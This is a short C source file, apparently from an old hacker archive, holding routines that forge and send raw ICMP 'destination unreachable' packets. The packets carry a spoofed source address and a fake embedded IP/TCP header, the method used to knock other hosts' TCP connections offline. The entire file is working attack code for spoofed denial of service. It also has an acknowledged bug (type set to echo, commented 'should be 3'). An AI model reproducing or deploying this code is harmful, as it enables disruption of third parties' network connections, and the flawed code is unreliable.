home *** CD-ROM | disk | FTP | other *** search
- /*
- * icmp_pkt.c
- * by crisk
- *
- * routines to send a custom icmp/ip packet over the net.
- *
- * CHANGES: changed ttl value on both headers to be possible to such a packet.
- *
- */
-
- #define IPHDRSIZE sizeof(struct iphdr)
- #define ICMPHDRSIZE sizeof(struct icmphdr)
-
- #include <sys/types.h>
- #include <sys/socket.h>
-
- #include <netinet/ip.h>
- #include <netinet/in.h>
- #include <netinet/ip_icmp.h>
- int cize;
-
- /* ********** RIPPED CODE START ******************************** */
-
- /*
- * in_cksum --
- * Checksum routine for Internet Protocol family headers (C Version)
- */
- unsigned short in_cksum(addr, len)
- u_short *addr;
- int len;
- {
- register int nleft = len;
- register u_short *w = addr;
- register int sum = 0;
- u_short answer = 0;
-
- /*
- * Our algorithm is simple, using a 32 bit accumulator (sum), we add
- * sequential 16 bit words to it, and at the end, fold back all the
- * carry bits from the top 16 bits into the lower 16 bits.
- */
- while (nleft > 1) {
- sum += *w++;
- nleft -= 2;
- }
-
- /* mop up an odd byte, if necessary */
- if (nleft == 1) {
- *(u_char *)(&answer) = *(u_char *)w ;
- sum += answer;
- }
-
- /* add back carry outs from top 16 bits to low 16 bits */
- sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
- sum += (sum >> 16); /* add carry */
- answer = ~sum; /* truncate to 16 bits */
- return(answer);
- }
-
- /* ********** RIPPED CODE END ******************************** */
-
-
- /*
- * icmp_unreach_send()
- * builds and sends an ICMP unreachable packet. Since ICMP unreachable packets
- * contain the IP header + 64 bits of original datagram, we create a bogus
- * IP header and the first 64 bits of a TCP header (ports and syn).
- *
- */
-
- inline int icmp_unreach_send(int socket,
- struct sockaddr_in *address,
- unsigned char icmp_code,
- unsigned long spoof_addr,
- unsigned long s_addr,
- unsigned long t_addr,
- unsigned s_port,
- unsigned t_port,
- unsigned long seq)
- {
- unsigned char packet[4098];
- struct iphdr *ip;
- struct icmphdr *icmp;
- struct iphdr *origip;
- unsigned char *data;
- int i;
-
-
- ip = (struct iphdr *)packet;
- icmp = (struct icmphdr *)(packet+IPHDRSIZE);
- origip = (struct iphdr *)(packet+IPHDRSIZE+ICMPHDRSIZE);
- data = (char *)(packet+IPHDRSIZE+IPHDRSIZE+ICMPHDRSIZE);
-
- memset(packet, 0, 4098);
-
- ip->saddr = spoof_addr;
- ip->daddr = t_addr;
- ip->version = 4;
- ip->ihl = 5;
- ip->ttl = 255-random()%15;
- ip->protocol = IPPROTO_ICMP;
- ip->tot_len = htons(IPHDRSIZE + cize + ICMPHDRSIZE + IPHDRSIZE + 8);
-
- ip->check = in_cksum(packet,IPHDRSIZE);
-
- origip->saddr = t_addr; /* this is the 'original' header. */
- origip->daddr = s_addr;
- origip->version = 4;
- origip->ihl = 5;
- origip->ttl = ip->ttl - random()%15;
- origip->protocol = IPPROTO_TCP;
- origip->tot_len = IPHDRSIZE + 30;
- origip->id = random()%69;
-
- origip->check = in_cksum(origip,IPHDRSIZE);
-
- *((unsigned int *)data) = htons(s_port);
- *((unsigned int *)(data+2)) = htons(t_port);
- *((unsigned long *)(data+4)) = htonl(seq);
-
- /* 'original IP header + 64 bits (of bogus TCP header)' made. */
-
- icmp->type = ICMP_ECHO; /* should be 3 */
- icmp->code = icmp_code;
-
- icmp->checksum = in_cksum(icmp,cize+ICMPHDRSIZE+IPHDRSIZE+8);
-
- /* the entire ICMP packet it now ready. */
-
- #ifdef ICMP_PKT_DEBUG
- printf("Packet ready. Dump: \n");
- for (i=0;i<IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8;i++)
- printf("%02X%c",*(packet+i),((i+1)%16) ? ' ' : '\n');
- printf("\n");
- #endif
-
- return sendto(socket,packet,IPHDRSIZE+cize+ICMPHDRSIZE+IPHDRSIZE+8,0,
- (struct sockaddr *)address,sizeof(struct sockaddr));
-
- /* ICMP packet is now over the net. */
-
- }
-